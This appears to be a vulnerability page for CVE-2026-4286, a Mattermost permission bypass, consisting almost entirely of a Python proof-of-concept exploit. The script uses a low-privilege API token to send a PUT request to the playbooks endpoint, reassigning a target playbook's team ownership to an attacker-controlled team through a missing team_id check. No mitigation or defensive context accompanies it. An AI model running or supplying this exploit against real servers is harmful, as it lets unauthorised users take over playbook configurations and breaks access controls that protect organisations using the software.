CVE-2026-4286: Mattermost权限绕过漏洞

import requests import json # Configuration target_url = "https://mattermost.example.com" api_token = "YOUR_LOW_PRIV_TOKEN" # Token with 'Manage Playbook Configurations' permission playbook_id = "TARGET_PLAYBOOK_ID" new_team_id = "ATTACKER_TEAM_ID" # Headers headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } # Payload exploiting the missing team_id check payload = { "title": "Updated Playbook Title", "team_id": new_team_id # Malicious: changing team ownership } # Send PUT request to update the playbook response = requests.put( f"{target_url}/api/v4/playbooks/{playbook_id}", headers=headers, data=json.dumps(payload) ) if response.status_code == 200: print("[+] Exploit successful! Playbook team ID changed.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}")